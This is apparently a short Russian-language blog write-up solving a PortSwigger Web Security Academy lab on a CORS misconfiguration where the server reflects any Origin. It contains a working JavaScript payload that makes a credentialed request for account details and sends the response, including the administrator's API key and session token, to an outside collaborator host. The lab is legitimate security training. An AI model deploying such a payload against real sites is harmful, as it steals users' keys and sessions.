На странице
apsyleg1 мин
#portswigger #cors #web-security

CORS с базовым отражением Origin

Лаборатория

CORS vulnerability with basic origin reflection · Apprentice

Решение

Дано

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Дан сайт, у которого уязвимо настроены CORS-заголовки, и ACAO просто отражает заголовок Origin. Нам нужно найти метод для получения API-ключа и отправить его на свой сервер.

Разведка

Найдём сперва метод для получения API-токена:

GET /accountDetails HTTP/2

Отправляем запрос в Repeater. Добавляем для теста заголовок Origin: https://ya.ru, отправляем — да, сервер добавил в ACAO ya.ru. Можем собирать нагрузку.

Готовим нагрузку

PortSwigger даёт хороший шаблон для старта:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
  location='//malicious-website.com/log?key='+this.responseText;
};

Добавим наш запрос на GET /accountDetails и отправку в Burp Collaborator — lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com:

<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://0a0d00db04ed6de980ea0321007000d2.web-security-academy.net/accountDetails',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='//lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com/log?key='+this.responseText;
  };
</script>

Отлично, прилетает запрос, декодируем ответ:

{ "username": "administrator", "email": "", "apikey": "jzf1QJXYkPxziewNiNtqMjZQY3tZGm8l", "sessions": ["kO1D55tBNiHVngwAxcDKzleadUQWgwqT"] }

Лаба решена.